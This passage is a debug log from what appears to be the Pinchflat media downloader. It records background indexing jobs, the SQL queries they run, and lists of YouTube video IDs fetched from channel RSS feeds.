m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [2] 02:10:48.429 [debug] QUERY OK source="tasks" db=0.0ms idle=121.5ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [509, 2, ~U[2026-07-24 02:10:48Z], ~U[2026-07-24 02:10:48Z]] 02:10:48.429 [info] {"args":{"id":2},"id":506,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":122709,"event":"job:stop","queue_time":383032,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 02:10:48.446 [debug] Media ids fetched from RSS: ["WDhmQAh9Hz8", "L0U5Z-ihSS4", "hnHlxRgp620", "hfD_nz3K5X8", "8v0Bf6jMuiA", "vkAokHH-Mmg", "5XApQHjUtf0", "e61AEeaNJXU", "_fa1aM6b9k8", "4wRhOSXIOnc", "H-2e99peqJM", "J1tZAMAx0Fw", "6BfEIaV1Igs", "mmoy47ltRAs", "qGAxca1Epyc"] 02:10:48.446 [debug] QUERY OK source="media_items" db=0.3ms idle=17.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [1, "WDhmQAh9Hz8", "L0U5Z-ihSS4", "hnHlxRgp620", "hfD_nz3K5X8", "8v0Bf6jMuiA", "vkAokHH-Mmg", "5XApQHjUtf0", "e61AEeaNJXU", "_fa1aM6b9k8", "4wRhOSXIOnc", "H-2e99peqJM", "J1tZAMAx0Fw", "6BfEIaV1Igs", "mmoy47ltRAs", "qGAxca1Epyc"] 02:10:48.450 [debug] QUERY OK source="media_items" db=3.5ms idle=17.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 02:10:48.451 [debug] QUERY OK source="tasks" db=0.0ms idle=16.1ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [510, 1, ~U[2026-07-24 02:10:48Z], ~U[2026-07-24 02:10:48Z]] 02:10:48.451 [info] {"args":{"id":1},"id":507,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":144909,"event":"job:stop","queue_time":308531,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 02:10:55.270 [info] {"source":"oban","duration":464,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:11:00.862 [info] {"source":"oban","duration":358,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:11:25.271 [info] {"source":"oban","duration":570,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:11:55.272 [info] {"source":"oban","duration":453,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:12:00.863 [info] {"source":"oban","duration":243,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:12:25.273 [info] {"source":"oban","duration":401,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:12:55.274 [info] {"source":"oban","duration":484,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:13:00.864 [info] {"source":"oban","duration":135,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:13:25.275 [info] {"source":"oban","duration":533,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:13:55.276 [info] {"source":"oban","duration":419,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:14:00.865 [info] {"source":"oban","duration":221,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:14:25.277 [info] {"source":"oban","duration":458,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:14:55.278 [info] {"source":"oban","duration":476,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:15:00.865 [info] {"source":"oban","duration":147,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:15:03.573 [info] {"args":{"id":3},"id":508,"meta":{},"system_time":1784859303573279294,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 02:15:03.573 [debug] QUERY OK source="sources" db=0.0ms idle=512.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:15:03.573 [debug] QUERY OK source="settings" db=0.0ms idle=512.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:15:03.573 [debug] QUERY OK source="media_profiles" db=0.0ms idle=512.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 02:15:03.573 [debug] QUERY OK source="settings" db=0.0ms idle=6.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:15:03.573 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCzqbfYjQmf9nLQPMxVgPhiA 02:15:03.704 [debug] Media ids fetched from RSS: ["vg009pFTlhA", "QFGzMcycORQ", "pOhbslrQyHk", "zq4-pEaWvy8", "Yj99ygvEsDY", "GfIy-aj10LA", "bqxEUQN02IA", "gHwivWdndzM", "Qj9k0v7P1XM", "n3H5t7DzFQU", "TlKjsdzlVzA", "Tg_-z5ls4MU", "YCuqoByWlC4", "khE1axD_m8I", "HY54S4JyhNY"] 02:15:03.705 [debug] QUERY OK source="media_items" db=0.3ms idle=131.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [3, "vg009pFTlhA", "QFGzMcycORQ", "pOhbslrQyHk", "zq4-pEaWvy8", "Yj99ygvEsDY", "GfIy-aj10LA", "bqxEUQN02IA", "gHwivWdndzM", "Qj9k0v7P1XM", "n3H5t7DzFQU", "TlKjsdzlVzA", "Tg_-z5ls4MU", "YCuqoByWlC4", "khE1axD_m8I", "HY54S4JyhNY"] 02:15:03.707 [debug] QUERY OK source="media_items" db=1.8ms idle=131.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [3] 02:15:03.708 [debug] QUERY OK source="tasks" db=0.0ms idle=133.9ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [511, 3, ~U[2026-07-24 02:15:03Z], ~U[2026-07-24 02:15:03Z]] 02:15:03.708 [info] {"args":{"id":3},"id":508,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":134742,"event":"job:stop","queue_time":522949,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 02:15:25.279 [info] {"source":"oban","duration":454,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:15:55.280 [info] {"source":"oban","duration":411,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:16:00.867 [info] {"source":"oban","duration":238,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:16:25.281 [info] {"source":"oban","duration":629,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:16:55.282 [info] {"source":"oban","duration":505,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:17:00.868 [info] {"source":"oban","duration":217,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:17:25.283 [info] {"source":"oban","duration":512,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:17:55.284 [info] {"source":"oban","duration":876,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:18:00.869 [info] {"source":"oban","duration":185,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:18:25.286 [info] {"source":"oban","duration":414,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:18:55.287 [info] {"source":"oban","duration":465,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:19:00.870 [info] {"source":"oban","duration":160,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:19:25.288 [info] {"source":"oban","duration":700,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:19:55.290 [info] {"source":"oban","duration":588,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:20:00.871 [info] {"source":"oban","duration":285,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:20:25.291 [info] {"source":"oban","duration":441,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:20:48.992 [info] {"args":{"id":2},"id":509,"meta":{},"system_time":1784859648992312831,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 02:20:48.992 [info] {"args":{"id":1},"id":510,"meta":{},"system_time":1784859648992376912,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 02:20:48.992 [debug] QUERY OK source="sources" db=0.2ms idle=1925.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 02:20:48.993 [debug] QUERY OK source="settings" db=0.0ms idle=1007.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:20:48.993 [debug] QUERY OK source="sources" db=0.2ms idle=1925.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 02:20:48.993 [debug] QUERY OK source="media_profiles" db=0.0ms idle=6.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 02:20:48.993 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:20:48.993 [debug] QUERY OK source="settings" db=0.0ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:20:48.993 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCmEZqGF0jU8o1OeoecjIE2A 02:20:48.993 [debug] QUERY OK source="media_profiles" db=0.0ms idle=0.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 02:20:48.993 [debug] QUERY OK source="settings" db=0.0ms idle=0.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:20:48.993 [debug] Fetching recent media IDs from YouTube RSS feed for source: UC6tUZA7GiIZPaUu4FQXnFYA 02:20:49.113 [debug] Media ids fetched from RSS: ["FUaD7PTXMd4", "Tnwt9z7zVy0", "eBciNtRE6Xc", "t0QLs4y7Y70", "-qASrzBWME4", "6_orrWvWvSg", "jAWp_iW5RGE", "-QCoVlyAl3c", "HyOFVAP8fiE", "b3RSxr1ubYo", "UHFEdiLBRHM", "UEjStUTjntQ", "cD7Xcrjh7tE", "3guS4E-9r9s", "_lO_ZLTVxTI"] 02:20:49.113 [debug] QUERY OK source="media_items" db=0.2ms idle=120.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [2, "FUaD7PTXMd4", "Tnwt9z7zVy0", "eBciNtRE6Xc", "t0QLs4y7Y70", "-qASrzBWME4", "6_orrWvWvSg", "jAWp_iW5RGE", "-QCoVlyAl3c", "HyOFVAP8fiE", "b3RSxr1ubYo", "UHFEdiLBRHM", "UEjStUTjntQ", "cD7Xcrjh7tE", "3guS4E-9r9s", "_lO_ZLTVxTI"] 02:20:49.114 [debug] QUERY OK source="media_items" db=0.3ms idle=120.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [2] 02:20:49.115 [debug] QUERY OK source="tasks" db=0.0ms idle=121.4ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [512, 2, ~U[2026-07-24 02:20:49Z], ~U[2026-07-24 02:20:49Z]] 02:20:49.115 [info] {"args":{"id":2},"id":509,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":122801,"event":"job:stop","queue_time":563324,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 02:20:49.566 [debug] Media ids fetched from RSS: ["WDhmQAh9Hz8", "L0U5Z-ihSS4", "hnHlxRgp620", "hfD_nz3K5X8", "8v0Bf6jMuiA", "vkAokHH-Mmg", "5XApQHjUtf0", "e61AEeaNJXU", "_fa1aM6b9k8", "4wRhOSXIOnc", "H-2e99peqJM", "J1tZAMAx0Fw", "6BfEIaV1Igs", "mmoy47ltRAs", "qGAxca1Epyc"] 02:20:49.566 [debug] QUERY OK source="media_items" db=0.2ms idle=451.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [1, "WDhmQAh9Hz8", "L0U5Z-ihSS4", "hnHlxRgp620", "hfD_nz3K5X8", "8v0Bf6jMuiA", "vkAokHH-Mmg", "5XApQHjUtf0", "e61AEeaNJXU", "_fa1aM6b9k8", "4wRhOSXIOnc", "H-2e99peqJM", "J1tZAMAx0Fw", "6BfEIaV1Igs", "mmoy47ltRAs", "qGAxca1Epyc"] 02:20:49.569 [debug] QUERY OK source="media_items" db=2.1ms idle=452.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 02:20:49.569 [debug] QUERY OK source="tasks" db=0.0ms idle=448.3ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [513, 1, ~U[2026-07-24 02:20:49Z], ~U[2026-07-24 02:20:49Z]] 02:20:49.570 [info] {"args":{"id":1},"id":510,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":577611,"event":"job:stop","queue_time":541165,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 02:20:55.292 [info] {"source":"oban","duration":694,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:21:00.872 [info] {"source":"oban","duration":213,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:21:25.294 [info] {"source":"oban","duration":441,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:21:55.295 [info] {"source":"oban","duration":632,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:22:00.873 [info] {"source":"oban","duration":245,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:22:25.296 [info] {"source":"oban","duration":360,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:22:55.297 [info] {"source":"oban","duration":550,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:23:00.873 [info] {"source":"oban","duration":174,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:23:25.298 [info] {"source":"oban","duration":769,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:23:55.299 [info] 